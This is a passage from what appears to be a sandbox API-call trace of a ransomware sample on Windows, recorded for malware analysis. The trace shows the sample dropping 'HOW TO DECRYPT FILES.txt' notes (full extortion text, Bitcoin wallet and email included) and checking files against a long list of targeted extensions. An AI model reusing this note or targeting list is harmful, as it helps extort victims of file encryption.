0xffffffff [0101.378] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\presentationbuildtasks\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.379] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0101.379] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0101.382] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.382] CloseHandle (hObject=0x90) returned 1 [0101.383] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\3.0.0.0__31bf3856ad364e35\\", lpString2="PresentationBuildTasks.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\3.0.0.0__31bf3856ad364e35\\PresentationBuildTasks.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\3.0.0.0__31bf3856ad364e35\\PresentationBuildTasks.dll" [0101.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\3.0.0.0__31bf3856ad364e35\\PresentationBuildTasks.dll", pszSpec="*.ems") returned 0 [0101.383] lstrlenA (lpString="*.ems") returned 5 [0101.383] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa990338c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa990338c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa990338c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 0 [0101.383] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.383] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc0778ec6, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc0778ec6, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 0 [0101.383] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.384] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x730065, cFileName="PresentationCFFRasterizer", cAlternateFileName="PRESEN~3")) returned 1 [0101.384] lstrcmpA (lpString1=".", lpString2="PresentationCFFRasterizer") returned -1 [0101.384] lstrcmpA (lpString1="..", lpString2="PresentationCFFRasterizer") returned -1 [0101.384] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.384] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="PresentationCFFRasterizer" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer" [0101.384] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer") returned 54 [0101.384] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.385] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.385] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.385] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.385] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.385] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 1 [0101.385] lstrcmpA (lpString1=".", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0101.385] lstrcmpA (lpString1="..", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0101.385] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\*.*") returned="*.*" [0101.385] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\", lpString2="3.0.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35" [0101.385] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35") returned 80 [0101.385] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.386] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.386] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.386] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.386] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.386] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973c7be, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x973c7be, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7dedaebc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationCFFRasterizer.dll", cAlternateFileName="")) returned 1 [0101.386] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.386] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationCFFRasterizer.dll") returned -1 [0101.386] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationCFFRasterizer.dll") returned -1 [0101.386] lstrcmpiA (lpString1="", lpString2="PresentationCFFRasterizer.dll") returned -1 [0101.386] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0101.386] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\" [0101.387] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\") returned="" [0101.387] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0101.387] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\presentationcffrasterizer\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0101.387] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\presentationcffrasterizer\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.388] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0101.388] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0101.390] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.390] CloseHandle (hObject=0x90) returned 1 [0101.390] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\", lpString2="PresentationCFFRasterizer.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll" [0101.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.ems") returned 0 [0101.391] lstrlenA (lpString="*.ems") returned 5 [0101.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.db") returned 0 [0101.391] lstrlenA (lpString="*.db") returned 4 [0101.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.dbf") returned 0 [0101.391] lstrlenA (lpString="*.dbf") returned 5 [0101.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.myox") returned 0 [0101.391] lstrlenA (lpString="*.myox") returned 6 [0101.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.myo") returned 0 [0101.391] lstrlenA (lpString="*.myo") returned 5 [0101.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.qbw") returned 0 [0101.391] lstrlenA (lpString="*.qbw") returned 5 [0101.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.qbb") returned 0 [0101.391] lstrlenA (lpString="*.qbb") returned 5 [0101.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.qbm") returned 0 [0101.391] lstrlenA (lpString="*.qbm") returned 5 [0101.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.qbo") returned 0 [0101.392] lstrlenA (lpString="*.qbo") returned 5 [0101.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.qbx") returned 0 [0101.392] lstrlenA (lpString="*.qbx") returned 5 [0101.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.qba") returned 0 [0101.392] lstrlenA (lpString="*.qba") returned 5 [0101.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.qby") returned 0 [0101.392] lstrlenA (lpString="*.qby") returned 5 [0101.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.qbj") returned 0 [0101.392] lstrlenA (lpString="*.qbj") returned 5 [0101.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.ofx") returned 0 [0101.392] lstrlenA (lpString="*.ofx") returned 5 [0101.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.qif") returned 0 [0101.392] lstrlenA (lpString="*.qif") returned 5 [0101.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.mye") returned 0 [0101.392] lstrlenA (lpString="*.mye") returned 5 [0101.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.mbox") returned 0 [0101.392] lstrlenA (lpString="*.mbox") returned 6 [0101.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.eml") returned 0 [0101.393] lstrlenA (lpString="*.eml") returned 5 [0101.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.pst") returned 0 [0101.393] lstrlenA (lpString="*.pst") returned 5 [0101.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.ost") returned 0 [0101.393] lstrlenA (lpString="*.ost") returned 5 [0101.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.idx") returned 0 [0101.393] lstrlenA (lpString="*.idx") returned 5 [0101.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.dbx") returned 0 [0101.393] lstrlenA (lpString="*.dbx") returned 5 [0101.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.sql") returned 0 [0101.393] lstrlenA (lpString="*.sql") returned 5 [0101.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.mdb") returned 0 [0101.393] lstrlenA (lpString="*.mdb") returned 5 [0101.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.fdb") returned 0 [0101.393] lstrlenA (lpString="*.fdb") returned 5 [0101.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.wab") returned 0 [0101.394] lstrlenA (lpString="*.wab") returned 5 [0101.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.dat") returned 0 [0101.394] lstrlenA (lpString="*.dat") returned 5 [0101.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.txt") returned 0 [0101.394] lstrlenA (lpString="*.txt") returned 5 [0101.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.jpeg") returned 0 [0101.394] lstrlenA (lpString="*.jpeg") returned 6 [0101.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.jpg") returned 0 [0101.394] lstrlenA (lpString="*.jpg") returned 5 [0101.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.png") returned 0 [0101.394] lstrlenA (lpString="*.png") returned 5 [0101.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.php") returned 0 [0101.394] lstrlenA (lpString="*.php") returned 5 [0101.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.cs") returned 0 [0101.394] lstrlenA (lpString="*.cs") returned 4 [0101.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.cpp") returned 0 [0101.395] lstrlenA (lpString="*.cpp") returned 5 [0101.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.rar") returned 0 [0101.395] lstrlenA (lpString="*.rar") returned 5 [0101.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.zip") returned 0 [0101.395] lstrlenA (lpString="*.zip") returned 5 [0101.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.html") returned 0 [0101.395] lstrlenA (lpString="*.html") returned 6 [0101.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.htm") returned 0 [0101.395] lstrlenA (lpString="*.htm") returned 5 [0101.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.xlsx") returned 0 [0101.395] lstrlenA (lpString="*.xlsx") returned 6 [0101.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.xls") returned 0 [0101.395] lstrlenA (lpString="*.xls") returned 5 [0101.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.mp4") returned 0 [0101.395] lstrlenA (lpString="*.mp4") returned 5 [0101.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.ppt") returned 0 [0101.396] lstrlenA (lpString="*.ppt") returned 5 [0101.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.pptx") returned 0 [0101.396] lstrlenA (lpString="*.pptx") returned 6 [0101.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.doc") returned 0 [0101.396] lstrlenA (lpString="*.doc") returned 5 [0101.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.dot") returned 0 [0101.396] lstrlenA (lpString="*.dot") returned 5 [0101.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.docx") returned 0 [0101.396] lstrlenA (lpString="*.docx") returned 6 [0101.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.7z") returned 0 [0101.397] lstrlenA (lpString="*.7z") returned 4 [0101.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.tar") returned 0 [0101.397] lstrlenA (lpString="*.tar") returned 5 [0101.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.bz2") returned 0 [0101.397] lstrlenA (lpString="*.bz2") returned 5 [0101.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.gz") returned 0 [0101.397] lstrlenA (lpString="*.gz") returned 4 [0101.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.mkv") returned 0 [0101.398] lstrlenA (lpString="*.mkv") returned 5 [0101.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.eml") returned 0 [0101.398] lstrlenA (lpString="*.eml") returned 5 [0101.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.msg") returned 0 [0101.398] 